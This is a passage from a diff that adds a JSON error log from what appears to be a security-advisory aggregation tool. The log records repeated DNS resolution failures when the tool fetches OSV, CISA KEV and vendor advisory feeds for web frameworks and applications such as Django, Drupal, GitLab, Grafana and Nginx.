(Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "django", + "display_name": "Django", + "source_name": "OSV Django", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "Drupal Security Advisories RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.drupal.org/security/rss.xml", + "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "OSV Drupal", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "echo", + "display_name": "Echo", + "source_name": "OSV Echo", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "esbuild", + "display_name": "esbuild", + "source_name": "OSV esbuild", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "express", + "display_name": "Express", + "source_name": "OSV Express", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "fastify", + "display_name": "Fastify", + "source_name": "OSV Fastify", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "flask", + "display_name": "Flask", + "source_name": "OSV Flask", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "Ghost GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/TryGhost/Ghost/security/advisories", + "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "OSV Ghost", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "gin", + "display_name": "Gin", + "source_name": "OSV Gin", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "gitea", + "display_name": "Gitea", + "source_name": "OSV Gitea", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Advisory Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://gitlab.com/gitlab-org/advisories-community", + "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Security Releases Atom", + "source_kind": "atom-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://about.gitlab.com/security-releases.xml", + "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "CISA KEV Grafana", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "Grafana Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://grafana.com/security/security-advisories/", + "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "hapi", + "display_name": "Hapi", + "source_name": "OSV Hapi", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "haproxy", + "display_name": "HAProxy", + "source_name": "HAProxy Blog Feed", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.haproxy.com/feed/", + "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "jenkins", + "display_name": "Jenkins", + "source_name": "Jenkins Security Advisories RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.jenkins.io/security/advisories/rss.xml", + "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "Joomla Security Centre", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://developer.joomla.org/security-centre.html", + "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "OSV Joomla", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "kibana", + "display_name": "Kibana", + "source_name": "Elastic Security Announcements RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss", + "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "koa", + "display_name": "Koa", + "source_name": "OSV Koa", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "laravel", + "display_name": "Laravel", + "source_name": "OSV Laravel", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Magento GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/magento/magento2/security/advisories", + "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "OSV Magento Open Source", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Sansec Research", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://sansec.io/research", + "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "Mattermost Security Updates JSON", + "source_kind": "json-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://securityupdates.mattermost.com/security_updates.json", + "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "OSV Mattermost", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "MediaWiki Announce RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/", + "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "OSV MediaWiki", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "medusa", + "display_name": "Medusa", + "source_name": "OSV Medusa", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "moodle", + "display_name": "Moodle", + "source_name": "OSV Moodle", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nestjs", + "display_name": "NestJS", + "source_name": "OSV NestJS", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nextjs", + "display_name": "Next.js", + "source_name": "OSV Next.js", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "CISA KEV NGINX", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "NGINX Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://nginx.org/en/security_advisories.html", + "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "CISA KEV 